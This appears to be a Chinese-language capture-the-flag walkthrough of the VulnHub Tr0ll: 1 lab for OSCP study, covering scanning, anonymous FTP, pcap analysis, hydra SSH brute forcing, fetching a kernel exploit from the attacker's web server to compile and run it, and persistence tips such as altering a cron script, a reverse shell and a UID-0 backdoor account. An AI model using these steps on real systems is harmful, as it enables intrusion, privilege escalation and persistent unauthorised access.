关注 泷羽Sec和泷羽Sec-静安公众号,这里会定期更新与 OSCP、渗透测试等相关的最新文章,帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具
Tr0ll: 1
靶场地址:https://www.vulnhub.com/entry/tr0ll-1,100/
信息收集
sudo arp-scan -l
nmap -sS -sV -A -T5 -p- 172.168.169.140
| http-robots.txt: 1 disallowed entry
|_/secret
这个输出提示,有一个不让机器人爬虫爬取的目录secret
,越不让看什么越要看,看了就一个图片,还不如不看。
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rwxrwxrwx 1 1000 0 8068 Aug 10 2014 lol.pcap [NSE: writeable]
这个输出提示,ftp有一个可以匿名访问的文件,lol.pcap
ftp 172.168.169.140
ftp> user anonymous
ftp> ls
ftp> get lol.pcap
抓包分析
用Day12 Kali渗透工具Powercat和Wireshark、tcpdump 介绍的工具打开流量包分析
tshark -r lol.pcap -T fields -e ip.dst | sort | uniq -c | sort -nr | head
sudo tcpdump -n -r lol.pcap| awk -F" "'{print $5}' | sort | uniq -c | head
sudo tcpdump -n -r lol.pcap| awk -F" "'{print $3}' | sort | uniq -c | head
可以看到21端口的请求数量较多,而且结合前面nmap的扫描结果来看,应该是有尝试多次登录ftp。所以就单独把21端口提出来看一下。
sudo tcpdump -n port 21 -r lol.pcap
然后发现了一个奇怪的txt文件。
sudo tcpdump -n -X -v -r capture.pcap tcp # 筛选所有tcp的流量
单独把重要信息的端口的内容解析出来。
tshark -r lol.pcap -Y "tcp.port == 51884" -T fields -e tcp.payload | xxd -r -p
网页目录信息收集
这里一开始的sup3rs3cr3tdirlol
我没反应过来是什么,用AI翻译,AI自动识别位超级秘密目录,是把3看做e的做法,是英语中常见的作法。
下载后查看似乎是个二进制文件。
wget http://172.168.169.140/sup3rs3cr3tdirlol/roflmao
提示找到0x0856BF
地址继续,我们继续在网页中中找这个目录。
SSH密码爆破
找到似乎是用户名和密码的两个文件,推测是ssh密码,复制后用hydra爆破。
hydra -L user.txt -P pass.txt 172.168.169.140 ssh -v
wget http://172.168.169.140/0x0856BF/this_folder_contains_the_password/Pass.txt
这里作者开了个玩笑,密码不是Good_job_:)
也不是Good_job_
,而是文件名Pass.txt
。所以用-p
用一个密码字段爆破,即当前文件名,而不是-P
指定密码文件爆破。
得到用户名overflow
和密码Pass.txt
,用ssh登录即可。
ssh [email protected]
我们可以得到两个信息,一个是上一次登录是2014年从10.0.0.12
登录的,所以这台靶机在流量包中的地址应该是10.0.0.6
,第二个信息是,登陆后限时3分钟的操作。
内网信息收集和提权
好在只是限时3分钟,没有限制失败一次后不能在登陆。我们手速快一点是没问题的。首先收集以下内核信息。
$ uname -a
Linux troll 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:12 UTC 2014 i686 i686 i686 GNU/Linux
$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 14.04.1 LTS
Release: 14.04
Codename: trusty
观察到Ubuntu版本比较老,所以可以尝试用老版本内核漏洞提权。
searchsploit Ubuntu 14.04 3.13.0
searchsploit -m linux/local/37292.c
下载后,传到靶机编译后执行即可,由于有时长限制,我们先把要用到的脚本准备好。攻击机kali开启http服务。
python3 -m http.server
cd /tmp
wget http://172.168.169.128:8000/37292.c
gcc -o exp 37292.c
./exp
刚好在断网前拿到权限。如果是在真实过程中,拿到root权限后可以想办法把这个3分钟限制关掉,或者简历新的不限时的新账户用于持续攻击和横向移动。
建立保活稳定持续的后门
find / -name cronlog 2>/dev/null
cat /var/log/cronlog
find / -name cleaner.py 2>/dev/null
cat /lib/log/cleaner.py
可以看到这里可以得知系统会每 2 分钟执行一次 cleaner.py
脚本。脚本内容就是清楚tmp目录下的东西。抓紧时间把这个删除的脚本改掉。
但是负责给我们断网的脚本应该还在别处。可以通过以下命令排查,先全部执行完,再一个个分析。
echo$TMOUT
cat /etc/ssh/sshd_config
grep -Ri "pam_time.so" /etc/pam.d
grep -Ri "timeout|kill.*ssh" /etc/cron.*
grep -Ri "clean" /etc/cron.*
cat /etc/update-motd.d/*
echo $TMOUT
没有输出,表示不是通过这个变量来限制时长的。
$ cat /etc/ssh/sshd_config
# Package generated configuration file
# See the sshd_config(5) manpage for details
# What ports, IPs and protocols we listen for
Port 22
# Use these options to restrict which interfaces/protocols sshd will bind to
#ListenAddress ::
#ListenAddress 0.0.0.0
Protocol 2
# HostKeys for protocol version 2
HostKey /etc/ssh/ssh_host_rsa_key
HostKey /etc/ssh/ssh_host_dsa_key
HostKey /etc/ssh/ssh_host_ecdsa_key
HostKey /etc/ssh/ssh_host_ed25519_key
#Privilege Separation is turned on for security
UsePrivilegeSeparation yes
# Lifetime and size of ephemeral version 1 server key
KeyRegenerationInterval 3600
ServerKeyBits 1024
# Logging
SyslogFacility AUTH
LogLevel INFO
# Authentication:
LoginGraceTime 120
PermitRootLogin without-password
StrictModes yes
RSAAuthentication yes
PubkeyAuthentication yes
#AuthorizedKeysFile %h/.ssh/authorized_keys
# Don't read the user's ~/.rhosts and ~/.shosts files
IgnoreRhosts yes
# For this to work you will also need host keys in /etc/ssh_known_hosts
RhostsRSAAuthentication no
# similar for protocol version 2
HostbasedAuthentication no
# Uncomment if you don't trust ~/.ssh/known_hosts for RhostsRSAAuthentication
#IgnoreUserKnownHosts yes
# To enable empty passwords, change to yes (NOT RECOMMENDED)
PermitEmptyPasswords no
# Change to yes to enable challenge-response passwords (beware issues with
# some PAM modules and threads)
ChallengeResponseAuthentication no
# Change to no to disable tunnelled clear text passwords
#PasswordAuthentication yes
# Kerberos options
#KerberosAuthentication no
#KerberosGetAFSToken no
#KerberosOrLocalPasswd yes
#KerberosTicketCleanup yes
# GSSAPI options
#GSSAPIAuthentication no
#GSSAPICleanupCredentials yes
X11Forwarding yes
X11DisplayOffset 10
PrintMotd no
PrintLastLog yes
TCPKeepAlive yes
#UseLogin no
#MaxStartups 10:30:60
#Banner /etc/issue.net
# Allow client to pass locale environment variables
AcceptEnv LANG LC_*
Subsystem sftp /usr/lib/openssh/sftp-server
# Set this to 'yes' to enable PAM authentication, account processing,
# and session processing. If this is enabled, PAM authentication will
# be allowed through the ChallengeResponseAuthentication and
# PasswordAuthentication. Depending on your PAM configuration,
# PAM authentication via ChallengeResponseAuthentication may bypass
# the setting of "PermitRootLogin without-password".
# If you just want the PAM account and session checks to run without
# PAM authentication, then enable this but set PasswordAuthentication
# and ChallengeResponseAuthentication to 'no'.
UsePAM yes
KeyRegenerationInterval 3600
作用:SSHv1 服务器密钥的重新生成时间间隔(单位:秒)。默认每 3600 秒(1小时) 重新生成一次密钥。注意:SSHv1 已过时且不安全,建议禁用 SSHv1 协议(现代系统默认使用 SSHv2)。这个如果是之后用密钥连接服务器的话,要注释掉这一行。不然一个小时后就要重新用密钥再次注册。
$ grep -Ri "pam_time.so" /etc/pam.d
/etc/pam.d/su:# account requisite pam_time.so
/etc/pam.d/login:# account requisite pam_time.so
虽然有这两个预留的,但是#表示这两行没有生效。
观察每次登录后被断开的时间发现,无论我们什么时候登录,断开时间总是恰好在5
,10
的倍数时候断开,所以猜测是crontab
中运行的每5分钟一次的脚本。
crontab -l
cat /opt/lmao.py
查看lmao.py
发现就是这个脚本每5分钟把overflow
的登录会话关闭掉。如果我们想要获得稳定的ssh会话,只要把pkil
那一行删掉即可。
# cat /opt/lmao.py
#!/usr/bin/env python
import os
os.system('echo "TIMES UP LOL!"|wall')
os.system('pkill -u overflow')
sys.exit()
这样虽然还是会发广播,但是广播之后我们的会话不会掉了。或者改为反弹shell,我们在kali上监听即可。
我们还可以新建一个全新的账户,拥有root权限,这样这个lmao.py也管不着我们了。但是这个靶机似乎限制了不让新建用户。
我们还可以暴力搜索这两行字是从哪个文件出来的,用时较长。
sudo grep -rnw '/' -e 'somewhere' --exclude-dir={proc,sys,dev,run} 2>/dev/null
sudo grep -rnw '/' -e 'TIMES UP LOL!' --exclude-dir={proc,sys,dev,run} 2>/dev/null
补充知识点:字母混淆
以下是更多通过 字母数字混淆(Leet Speak 或 1337 语)生成的趣味性隐藏词组示例,适用于密码、文件夹名、代码变量等场景:
基础替换规则
|
|
---|---|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
示例列表
1. 简单数字替换
-
"backup folder" → b4ckupf0ld3r
-
"private data" → pr1v4t3d4t4
-
"admin tools" → 4dm1nt00l5
2. 符号混合替换
-
"security logs" → $3cur1tyl0g$
-
"confidential" → c0nf1d3n7!4l
-
"hacker zone" → h4ck3rz0n3
3. 复杂混淆(符号+大小写)
-
"top secret project" → 7()p$3cr37pr0j3c7
-
"system files" → $y$73mF!l3$
-
"encryption key" → 3ncrYP710nK3y!
4. 幽默短语
-
"delete this later" → d3l3737h!zl4t3r
-
"do not open" → d0N()70p3n!!
-
"trust no one" → 7ru$7n00n3
5. 网络文化梗
-
"hello world" → h3ll0w0r1d
-
"lol no way" → 101n0w4y
-
"yeet archive" → y3374rch!v3
进阶技巧
-
随机大小写:
-
p4SsW0rD
(password) -
AdM!n_P4n3l
(admin panel)
-
插入冗余字符:
-
s3cr3t!!1!
(结尾的!!1!
模仿打字错误) -
f0ld3r~#
(添加无意义符号)
-
拆分单词:
-
d4t4_b4s3
(database) -
l0g_5t0r4g3
(log storage)
实际应用场景
-
隐藏文件夹名
-
将 secret_docs
改为$3cr37_d0x
-
生成强密码
-
M@st3rK3y!2024
(原词:MasterKey)
-
代码变量名
-
u53r_1nput
(user input)
借助AI能帮我们快速识别类似的英语文化的短语,弥补我们英语的不足。
补充知识点:新建与root相同权限的用户
在 Ubuntu 14 中,若需要新建一个与 root
拥有相同权限的账户,可以通过以下方法实现。(注意:赋予普通用户 root 权限存在安全风险,请谨慎操作!)
方法 1:将用户加入 sudo
组(推荐)
这是最安全的做法,用户可以通过 sudo
临时获得 root 权限。
步骤
-
创建用户:
sudo adduser newadmin # 交互式创建用户,设置密码等信息
-
将用户加入 sudo
组:
sudo usermod -aG sudo newadmin
-
验证权限:
su - newadmin # 切换到新用户
sudo -i # 测试获取 root shell
方法 2:直接赋予用户 root
权限(UID=0)
将用户的 UID 改为 0
,使其等同于 root
用户。(危险!此操作会绕过权限控制,慎用!)
步骤
-
创建用户:
sudo useradd -m -s /bin/bash newroot # 创建用户并生成主目录
-
修改用户 UID 为 0:
sudo usermod -u 0 newroot
-
设置密码:
sudo passwd newroot # 设置新用户的密码
-
验证权限:
su - newroot # 切换到新用户
whoami # 应显示 "root"
验证用户权限
# 检查用户组
groups newadmin
# 检查 sudo 权限
sudo -lU newadmin
# 检查 UID(若使用方法2)
id newroot # 应显示 uid=0(root)
原文始发于微信公众号(泷羽Sec-静安):Day13 Tr0ll1 靶场WP
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论